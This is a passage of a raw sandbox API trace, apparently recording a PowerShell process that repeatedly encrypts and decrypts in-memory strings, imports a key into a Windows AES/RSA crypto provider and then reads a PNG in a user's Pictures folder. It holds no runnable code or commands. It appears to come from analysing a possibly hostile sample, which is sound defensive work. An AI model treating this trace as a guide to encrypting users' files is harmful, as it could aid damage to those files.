OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.516] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.516] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.516] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.516] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.516] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.516] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.516] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.516] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.516] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.517] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.517] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.517] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.517] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.517] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.517] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.517] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.517] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.517] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.517] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.517] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.517] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.518] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.518] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.518] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.518] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.518] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.518] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.518] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.518] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.518] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.518] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.518] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.518] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.518] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.518] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.518] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.518] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.518] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.519] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.519] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.519] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.519] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.519] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.519] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.519] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.519] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.519] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.519] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.519] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.519] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.519] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.520] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.520] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.520] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.520] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.520] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.520] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.520] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.520] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.520] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.520] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.520] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.521] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.521] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.521] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.521] SystemFunction041 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.521] SystemFunction040 (in: Memory=0x8ec003c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec003c) returned 0x0 [0137.521] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.521] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.521] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.521] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.521] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.521] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.521] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.522] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.522] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.522] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.522] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0137.522] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e027a0) returned 1 [0137.523] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6998384, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e85138) returned 1 [0137.523] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.523] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.523] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.523] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.523] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.524] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png")) returned 0x20 [0137.525] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png")) returned 0x20 [0137.525] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png", nBufferLength=0x105, lpBuffer=0x99ae058, 